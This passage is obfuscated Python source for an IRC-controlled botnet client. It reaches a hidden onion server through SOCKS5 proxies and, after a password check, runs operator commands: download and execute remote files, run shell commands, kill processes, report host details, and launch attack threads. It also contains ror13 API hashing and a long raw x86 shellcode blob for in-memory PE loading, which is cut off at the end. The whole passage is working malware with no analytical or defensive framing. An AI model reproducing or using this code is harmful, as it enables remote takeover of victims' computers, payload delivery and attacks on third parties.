                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xe9\xdc\x18\x8d\x69\xd3\x55\x37\x04\x65\x15\x03\x00\x73\x5f\x09\xeb")) % (lMxnoDsszXUq))
                except:
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd1\xdc\x38\xad\x79\x37\xb4\x76\x3b\xeb\xc9\x32\x35\x48\x1a\x7c\xf7\x3e\xbd\xc5\x1a\x00\xdb\x10\x0d\x6b")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1f\x97\x24\xca\x36\x53\xce\xfa\x43\x1c\x00\x14\xf9\x03\xdb")):
                os.kill(os.getpid(),9)
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe8\x9f\x2d\x25\xd1\x2c\x04\x00\x0a\x97\x02\x33")):
                try:
                    urllib.urlretrieve(IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5])
                    if not os.name == 'nt':
                        try:
                            os.chmod(IKUjsDDaQRyZ[5], 777)
                        except:
                            pass
                    subprocess.Popen([("%s" % IKUjsDDaQRyZ[5])])
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xe9\xdc\x18\x8d\x69\xd3\x55\x37\x04\x65\x45\xf2\xcc\x14\xae\xf9\x1b\x74\xea\x9b\x4b\x9b\x9f\xd2\x07\x00\x1c\xab\x10\x3e")) % (lMxnoDsszXUq))
                except:
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd1\xdc\x38\xad\x79\x37\xb4\x76\x3b\xeb\xc9\x32\x35\x48\x1a\x7c\xf7\x3e\xbd\x35\xae\x81\x5b\xb9\x69\xae\xfa\x42\xe7\xec\x88\x74\x00\x87\x60\x11\x91")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1f\x97\x24\xca\xdf\x27\x69\xfb\xd5\x1f\x00\x14\xe5\x03\xcc")):
                if os.name == "nt":
                    os.popen(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x56\x2b\xc4\x36\x4f\xda\x60\x07\xeb\xc9\xad\x72\xb3\xdd\xd2\xee\x77\x03\x00\x40\x7a\x07\x7f")) % IKUjsDDaQRyZ[4])
                else:
                    os.popen(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x12\x93\x2e\xca\x78\x3d\x2a\x75\x07\xff\x1d\x00\x1a\x7f\x04\xb7")) % IKUjsDDaQRyZ[4])
                    os.popen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1f\x97\x24\xca\x33\x5b\xba\x66\xab\x70\xff\x06\x27\x00\x23\x3d\x05\x1c")) % IKUjsDDaQRyZ[4])
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd5\x6c\x77\xad\xf9\x73\xfc\x00\x4e\x36\x08\x33")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1f\x97\x24\xca\xdf\xc7\x6e\xfa\x07\x00\x10\xda\x03\x6a")):
                os.kill(int(IKUjsDDaQRyZ[4]),9)
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd5\x6c\x77\xad\xf9\x73\xfc\x00\x4e\x36\x08\x33")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x57\x2b\xc1\x3f\x5b\x08\x00\x0b\x51\x02\x60")):
                self.AELmEnMe=1
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x28\x00\xd7\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x75\x9b\x58\x27\x98\x94\x21\xb0\x17\x6f\x0d\x19\x96\x14\x37\xeb\x0a\xce\xfb\x55\xd2\x58\x25\x9b\x96\x37\xf5\x3d\x52\xc0\x11\x39")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x18\x99\x2f\xcd\x38\x09\x00\x08\x8a\x02\x28")):
                self.AELmEnMe=0
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xf2\x74\x36\xe5\x29\x33\xd5\x76\x04\x65\x45\xf2\x34\x33\xdb\xfe\x76\xbc\xb3\x35\x60\x8e\x7f\x5a\xe7\x6c\xd5\x5d\x2e\xfa\xc5\x00\x72\x12\x11\x8d")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1c\x54\x25\x20\x0b\x00\x06\x77\x01\xad")):
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\xbd\x48\xa3\x22\x00\x2e\x9f\x05\xda")) % (lMxnoDsszXUq,self.hXhlSfFUmv()))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + "ram":
                aGgCaoBsxE = 0
                if os.name == "nt":
                    aGgCaoBsxE = psutil.virtual_memory().total / 1024
                else:
                    evBBSVNKaXdG = dict((i.split()[0].rstrip(':'),int(i.split()[1])) for i in open(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xed\x5e\x23\xc6\x77\x43\xca\xf2\xab\xf3\xc1\xcf\x71\x00\x29\xf6\x06\x58"))).readlines())
                    aGgCaoBsxE = evBBSVNKaXdG[alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x19\x94\xac\xcb\xd4\x2c\x66\x00\x00\x0c\x2e\x02\x47"))]
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\xbd\x48\x23\x37\xf7\x8e\x1b\x62\x53\xab\xf4\x78\x99\x9a\xc5\x0c\x26\x01\x00\x9a\xb7\x0a\x1c")) % (lMxnoDsszXUq, aGgCaoBsxE/1024))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe8\x9e\x25\x21\x39\x09\x00\x07\xe3\x02\x16")):
                try:
                    if IKUjsDDaQRyZ[5]:
                        threading.Thread(target=self.YEdQoXao, args=(IKUjsDDaQRyZ[4], int(IKUjsDDaQRyZ[5]),)).start()
                        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\x4a\x93\xbf\x7a\xdf\x44\xad\xcd\xb6\x00\x5d\xea\x08\xb9")) % (lMxnoDsszXUq))
                        time.sleep(10)
                        os.kill(os.getpid(),9)
                except:
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xf9\x64\x27\xad\xf9\x73\x52\x16\x44\xe8\x71\x49\x4e\x63\xd5\xd8\x11\x77\xfc\x79\xc8\x64\x7f\x1f\x00\x02\x65\x0e\x8b")) % (lMxnoDsszXUq))
                    pass
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x14\x57\x2b\x20\x09\x00\x06\x57\x01\xa7")):
                if os.name == "nt":
                    webbrowser.open(IKUjsDDaQRyZ[4])
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xfa\xec\x08\xfd\xbe\xb9\x0a\x5f\x6d\x01\x5f\xd2\x09\x2a")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x9d\xcd\xc8\x01\x00\x06\x2c\x01\x80")):
                if os.name == "nt":
                    try:
                        threading.Thread(target=self.ESiAPTdsc, args=(IKUjsDDaQRyZ[4], os.getenv(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x28\x72\xd6\x04\x00\x04\x09\x01\x5f"))) + "\\" + IKUjsDDaQRyZ[5],)).start()
                        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x2f\x00\xd0\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x75\x9d\x5c\x28\x96\x97\x25\xb0\x17\x6f\x17\x09\xd7\x12\x24\xfd\x49\xda\xe1\x54\xd2\x5f\x27\x89\x93\x64\xa7\x43\x6f\x0b\x19\x92\x13\x7d\x92\xdc\x0c\x13\xcd")) % (lMxnoDsszXUq))
                    except:
                        pass
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1b\x99\x21\x06\x00\x04\xe9\x01\x95")):
                dwHhUQahiUCh=""
                dwHhUQahiUCh+=alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\xea\x9a\x2b\xc8\xd2\x2c\x64\xff\x26\xfe\xee\x07\xee\x4b\x00\x27\x27\x06\x26")) + platform.architecture()[0]
                dwHhUQahiUCh+=alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x52\x95\x2f\xc5\x3a\x4f\xd2\x72\x11\x17\x00\x17\x9b\x03\x99")) + platform.machine()
                dwHhUQahiUCh+=alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x52\x99\x28\xcb\x71\x36\x1c\x00\x0d\xeb\x03\x18")) + platform.node()
                dwHhUQahiUCh+=alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x92\x52\xce\x25\x39\x49\x2a\x6d\x07\x00\x13\xd1\x03\xbd")) + platform.system()
                try:
                    if os.name == "nt":
                        dist = platform.platform()
                    else:
                        dist = platform.dist()
                        dist = " ".join(x for x in dist)
                        dwHhUQahiUCh+=alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x52\x9c\xce\x25\xd9\x2a\x67\xf7\x36\xee\xd8\xaf\xf8\x13\xdc\x00\x36\xc8\x07\x10")) + dist
                except:
                    pass
                dwHhUQahiUCh+=alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xe2\x5e\x23\xc6\x37\x89\x45\xff\x7b\xc4\x9d\xf5\x82\x00\x26\x6f\x05\x8c"))
                if os.name == "nt":
                    dwHhUQahiUCh+="0-" + str(multiprocessing.cpu_count()) + " "
                    dwHhUQahiUCh+=platform.processor()
                else:
                    with open(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xed\x5e\x23\xc6\x77\x43\x44\xe7\xad\xf3\xc1\xcf\x71\x00\x29\x56\x06\x3d")), "r")  as f:
                        info = f.readlines()
                    JmQidoov = [x.strip().split(":")[1] for x in info if alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x19\x91\x25\xc3\x78\x5d\xd2\xf6\xab\x3f\x00\x15\xfd\x04\x0a"))  in x]
                    lLCOyPcodhdG=[]
                    last = len(JmQidoov)
                    for czazSfSU, item in enumerate(JmQidoov):
                        if item not in lLCOyPcodhdG:
                            lLCOyPcodhdG.append(item)
                            dwHhUQahiUCh+=str(czazSfSU) + "-" + str(last) +  item
                        last-=1
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\xbd\x48\xa3\x22\x00\x2e\x9f\x05\xda")) % (lMxnoDsszXUq, dwHhUQahiUCh))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x54\x27\xc1\x37\x07\x00\x08\x7c\x02\x39")):
                if adeaNPjj.endswith(".py"):
                    try:
                        self.LWkEKcaBad()
                        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xf2\xf4\x68\xf5\x99\x93\x15\x37\x88\xe7\x8a\x71\x4e\x0a\x0b\x03\x00\x98\xe5\x0a\x7e")) % (lMxnoDsszXUq))
                    except:
                        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xf9\x64\x27\xad\xf9\x73\x52\x16\x44\xe8\x71\x73\xb4\x8b\xd9\x7f\x56\x00\x00\xb1\x2b\x0b\x61")) % (lMxnoDsszXUq))
                else:
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\x72\xbb\xab\xc6\xe4\x69\xca\x5f\xc2\x6a\x23\xf9\xe7\x49\xda\xbe\x0a\x6e\xde\x1a\x3f\x37\x3e\xad\x63\xae\xc9\xd6\x90\x54\x01\xe6\x09\xb5\x00\xb6\x97\x13\x07")) % (lMxnoDsszXUq))
        except:
            pass
    def HliosoRqo(self, NiyMnWhfz):
        try:
            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x55\x11\x65\xa0\xb7\x29\x1c\x00\x0b\xd4\x02\xd4")) + self.hLqhZnCt + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xc2\x1b\x67\xa0\xbc\xa1\x16\x00\x0b\xdd\x02\xe0")))
            return
        except:
            pass
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.8)
        s.connect((NiyMnWhfz.split(":")[0], int(NiyMnWhfz.split(":")[1])))
        s.close()
        self.AbJppCRv=socks.socksocket()
        self.AbJppCRv.setproxy(socks.PROXY_TYPE_SOCKS5, NiyMnWhfz.split(":")[0], int(NiyMnWhfz.split(":")[1]), True)
        self.AbJppCRv.connect((self.onionserver, 420))
        self.AbJppCRv=ssl.wrap_socket(self.AbJppCRv)
    def hGFvDGhWIGu(self):
        global KDRidDNaavds
        global TaIQaFRwizyh
        while 1:
            try:
                while 1:
                    try:
                        NiyMnWhfz = random.choice(TaIQaFRwizyh)
                        self.HliosoRqo(NiyMnWhfz)
                        break
                    except:
                        continue
                hywaWcQa=""
                FhehcvoKoPj=0
                KDRidDNaavds=-1
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x55\xe7\x6b\xe4\x7b\x89\x25\x0c\x00\x0f\x1a\x03\x11")) % self.hLqhZnCt)
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x4c\xf1\xd6\xf6\xbd\xc4\x52\xb3\x37\xb2\xff\x67\xdc\x44\x2f\xad\x49\xd3\xcd\x17\x88\x9b\xc4\xc8\xfd\x05\x00\x8b\x69\x0a\xbe")) % (self.aRHRPteL, "net", self.pBYbuWVq))
                while 1:
                    try:
                        hywaWcQa=hywaWcQa+self.AbJppCRv.recv(2048)
                        SooohiIqboK=hywaWcQa.split("\n")
                        hywaWcQa=SooohiIqboK.pop( )
                        for IKUjsDDaQRyZ in SooohiIqboK:
                            qhUaRycH=IKUjsDDaQRyZ
                            IKUjsDDaQRyZ=IKUjsDDaQRyZ.rstrip()
                            IKUjsDDaQRyZ=IKUjsDDaQRyZ.split()
                            if IKUjsDDaQRyZ[0]==alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\xa9\x73\xb0\x03\x00\x04\x4c\x01\x81")):
                                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\xa9\x70\xb0\xf3\xbd\xc4\x12\x06\x00\x0e\x2e\x02\xf4")) % IKUjsDDaQRyZ[1])
                            elif IKUjsDDaQRyZ[1]=="376" or IKUjsDDaQRyZ[1]=="422" or IKUjsDDaQRyZ[1]=="352":
                                if FhehcvoKoPj == 0:
                                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x57\xe1\x6e\xee\x7b\x89\xa5\x66\x6f\xe4\x52\x00\x1c\x55\x04\xef")) % (self.AJEwioE,self.Ajiowfe))
                                    FhehcvoKoPj = 1
                            elif IKUjsDDaQRyZ[1]=="433":
                                self.VwkBkdwM=self.SFdFSJzo(random.randrange(8,12))
                                self.hLqhZnCt=alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\xaf\xf7\x57\x14\x04\x00\x06\x0c\x01\x90"))+platform.system()+"|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.VwkBkdwM)
                                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x55\xe7\x6b\xe4\x7b\x89\x25\x0c\x00\x0f\x1a\x03\x11")) % self.hLqhZnCt)
                            try:
                                lMxnoDsszXUq=qhUaRycH[1:qhUaRycH.find('!')]
                                if self.AJEwioE + " :" in qhUaRycH:
                                    lMxnoDsszXUq=self.AJEwioE                            
                            except:
                                pass
                            if KDRidDNaavds==-1:
                                try:
                                    if IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x11\x91\x29\xc0\x0c\x00\x06\x5b\x01\x8d")):
                                        if sha512(IKUjsDDaQRyZ[4]).hexdigest()==self.CXVueUcx:
                                            KDRidDNaavds=1024
                                            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\x41\x7b\xbc\xde\xd4\x2e\xdd\x75\x61\x55\x02\x4c\x33\xc3\xf5\xdf\x7a\x9e\xf9\xe0\xd4\xe8\x6b\x3c\xed\x13\x00\x26\x0f\x10\x60")) % (lMxnoDsszXUq))
                                        else:
                                            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\x41\x7b\xbc\xde\xd4\x2e\xdd\x75\x61\x55\x02\x4c\x33\xc3\xad\x7e\x3a\x1f\xfe\x10\xfa\x03\x00\xe9\xa5\x0e\xea")) % (lMxnoDsszXUq))
                                        continue
                                except:
                                    pass
                            if KDRidDNaavds > 0:
                                try:
                                    self.pcipjDKmoVmA(IKUjsDDaQRyZ, lMxnoDsszXUq)
                                except:
                                    pass
                    except:
                        try:
                            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x55\x11\x65\xa0\xb7\x29\x1c\x00\x0b\xd4\x02\xd4")) + self.hLqhZnCt + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xc2\x1b\x67\xa0\xbc\xa1\x16\x00\x0b\xdd\x02\xe0")))
                            continue
                        except:
                            break
            except:
                continue
def isavcohjGWyioX(pIGLapogVL):
    try:
        os.kill(pIGLapogVL, 0)
    except OSError:
        return
    else:
        return pIGLapogVL
def aulcxEKYJ(nGyJcsoJ):
    if os.path.exists(nGyJcsoJ):
        try:
            if isavcohjGWyioX(int(open(nGyJcsoJ).read())):
                os.kill(os.getpid(),9)
            else:
                os.remove(nGyJcsoJ)
        except:
            try:
                os.remove(nGyJcsoJ)
            except:
                pass
    open(nGyJcsoJ, 'w').write(str(os.getpid()))
    return nGyJcsoJ
cuUafeaomii=512
TDOdoZQPj=34404
def YDEIIsgCNSC(QsLEdYQooJWC):
    yoSKQLBTMd = struct.unpack("<L", QsLEdYQooJWC[60:64])[0]
    RKhWLcsbzKz = struct.unpack("<H", QsLEdYQooJWC[yoSKQLBTMd+4:yoSKQLBTMd+4+2])[0]
    if RKhWLcsbzKz == cuUafeaomii or RKhWLcsbzKz == TDOdoZQPj:
        return True   
    return False
ror = lambda val, FoiWwdmTWHE, aQfuLahhdJPE: \
    ((val & (2**aQfuLahhdJPE-1)) >> FoiWwdmTWHE%aQfuLahhdJPE) | \
    (val << (aQfuLahhdJPE-(FoiWwdmTWHE%aQfuLahhdJPE)) & (2**aQfuLahhdJPE-1))
def nhNEMUvxRAJ(name, CNjAiqAgDHVq = None):
        JyJqzacmi = name.encode() + b'\x00'
        if(CNjAiqAgDHVq):
                CNjAiqAgDHVq = CNjAiqAgDHVq.upper().encode(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x4c\xf6\x08\x89\x39\x68\x2d\x09\x00\x0e\x5b\x02\xf2"))) + b'\x00\x00'
                iAYXADaaJGhi = 0
                for b in JyJqzacmi:
                        iAYXADaaJGhi = ror(iAYXADaaJGhi, 13, 32)
                        iAYXADaaJGhi += b
                aJjklhRINCW = 0
                for b in CNjAiqAgDHVq:
                        aJjklhRINCW = ror(aJjklhRINCW, 13, 32)
                        aJjklhRINCW += b
                iAYXADaaJGhi += aJjklhRINCW
                if iAYXADaaJGhi > 0xFFFFFFFF: iAYXADaaJGhi -= 0x100000000
        else:
                iAYXADaaJGhi = 0
                for b in JyJqzacmi:
                        iAYXADaaJGhi = ror(iAYXADaaJGhi, 13, 32)
                        iAYXADaaJGhi += b
        return iAYXADaaJGhi
def pFhYOeeaE(oOEFQkKuE, iAYXADaaJGhi=0x10, clzUhnHB=b'None', yQvPKMSH=0):
    sblkVwfWdfj = b'\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89\xAC\x24\xB0\x00\x00\x00\x89\x6C\x24\x34\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xC4\x00\x00\x00\x89\xAC\x24\xB4\x00\x00\x00\x89\xAC\x24\xAC\x00\x00\x00\x89\xAC\x24\xE0\x00\x00\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x77\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x6B\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x34\x50\x55\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x44\x24\x34\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x5C\x89\x44\x24\x18\x8D\x84\x24\xB4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x18\x8D\x84\x24\xB8\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24\x6C\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x3C\x89\x44\x24\x18\x8D\x84\x24\xAC\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x39\x6C\x24\x34\x0F\x84\x00\x07\x00\x00\x39\xAC\x24\xB4\x00\x00\x00\x0F\x84\xF3\x06\x00\x00\x39\xAC\x24\xAC\x00\x00\x00\x0F\x84\xE6\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00\x0F\x84\xD9\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\xCA\x06\x00\x00\x8B\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x06\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x06\x00\x00\xF6\x46\x38\x01\x0F\x85\x99\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x1E\x03\xCE\x83\x79\x04\x00\x8B\x46\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x83\xEA\x01\x75\xE4\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x3D\x06\x00\x00\x6A